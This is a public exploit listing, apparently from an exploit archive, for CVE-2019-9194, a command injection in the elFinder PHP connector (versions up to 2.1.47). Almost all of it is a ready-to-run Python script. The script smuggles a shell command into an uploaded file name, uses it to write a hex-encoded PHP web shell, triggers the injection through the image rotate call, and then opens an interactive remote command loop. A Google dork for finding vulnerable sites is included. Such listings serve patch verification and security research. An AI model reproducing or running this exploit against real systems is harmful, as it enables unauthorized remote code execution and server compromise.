elFinder versions 2.1.47 and below suffer from a command injection vulnerability in the PHP connector.
c18a99273f5751aac3069a948d7904a72a24ff8573296cdae06be2c2d58ce090
#!/usr/bin/python
'''
# Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
# Date: 26/02/2019
# Exploit Author: @q3rv0
# Vulnerability reported by: Thomas Chauchefoin
# Google Dork: intitle:"elFinder 2.1.x"
# Vendor Homepage: https://studio-42.github.io/elFinder/
# Software Link: https://github.com/Studio-42/elFinder/archive/2.1.47.tar.gz
# Version: <= 2.1.47
# Tested on: Linux 64bit + Python2.7
# PoC: https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/
# CVE: CVE-2019-9194
# Usage: python exploit.py [URL]
'''
import requests
import json
import sys
payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'
def usage():
if len(sys.argv) != 2:
print "Usage: python exploit.py [URL]"
sys.exit(0)
def upload(url, payload):
files = {'upload[]': (payload, open('SecSignal.jpg', 'rb'))}
data = {"reqid" : "1693222c439f4", "cmd" : "upload", "target" : "l1_Lw", "mtime[]" : "1497726174"}
r = requests.post("%s/php/connector.minimal.php" % url, files=files, data=data)
j = json.loads(r.text)
return j['added'][0]['hash']
def imgRotate(url, hash):
r = requests.get("%s/php/connector.minimal.php?target=%s&width=539&height=960°ree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c" % (url, hash))
return r.text
def shell(url):
r = requests.get("%s/php/SecSignal.php" % url)
if r.status_code == 200:
print "[+] Pwned! :)"
print "[+] Getting the shell..."
while 1:
try:
input = raw_input("$ ")
r = requests.get("%s/php/SecSignal.php?c=%s" % (url, input))
print r.text
except KeyboardInterrupt:
sys.exit("\nBye kaker!")
else:
print "[*] The site seems not to be vulnerable :("
def main():
usage()
url = sys.argv[1]
print "[*] Uploading the malicious image..."
hash = upload(url, payload)
print "[*] Running the payload..."
imgRotate(url, hash)
shell(url)
if __name__ == "__main__":
main()